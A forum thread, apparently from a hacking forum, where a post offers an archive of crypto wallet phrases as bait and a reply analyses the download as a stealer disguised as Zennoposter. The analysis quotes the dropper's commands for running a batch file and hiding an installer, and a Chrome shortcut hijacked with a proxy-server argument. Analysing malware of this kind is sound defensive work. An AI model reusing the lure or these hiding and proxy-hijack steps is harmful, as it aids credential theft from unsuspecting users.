[isafe09]

The private checker contains a phrase, inside there is a manual and a small list of crypto wallets for 3 of them for $25, whoever finds it first, write down.
link to archive 😖

[deleted] : MALWARE

[Bastille]

Same link from this thread : https://hackforums.net/showthread.php?tid=6269932

Result of the analysis : Stealer

The link is a shorten URL that is related to a dropbox share. Retrieving the user account used for the share is not possible (or I'm not aware of any method for this).

The link conains a ZIP archive with a single .exe file and a password to avoid being scanned, no procedures nor instructions as decribed in user's post.




The file is identified as a Zennoposter.exe which is used to automate tasks and is flagged as malicious by many AV :
https://www.virustotal.com/gui/file/5da3.../relations



https://zennolab.com/en/products/zennoposter/


When executed nothing visually happens, however it acts as a dropper for many files :



Then it executes the main.bat file which then install a "Installer.exe" contained in the file_1.zip :
"C:\Windows\system32\cmd.exe" /c start /wait "" "C:\Users\<USER>\AppData\Local\Temp\main.bat"
C:\Windows\System32\attrib.exe attrib +H "Installer.exe"

The Zennoposter.exe drops the "Google Chrome.lnk" file with a specific argument to connect to a proxy server :
Target working directory > C:\Program Files\Google\Chrome\Application
Target relative path > ..\..\..\Program Files\Google\Chrome\Application\chrome.exe
Command line arguments > --proxy-server="217.XX.2.14:3333"

file_2.zip seems to be dedicated to Linux OS.
Bountree.exe doesn't seem to be executed.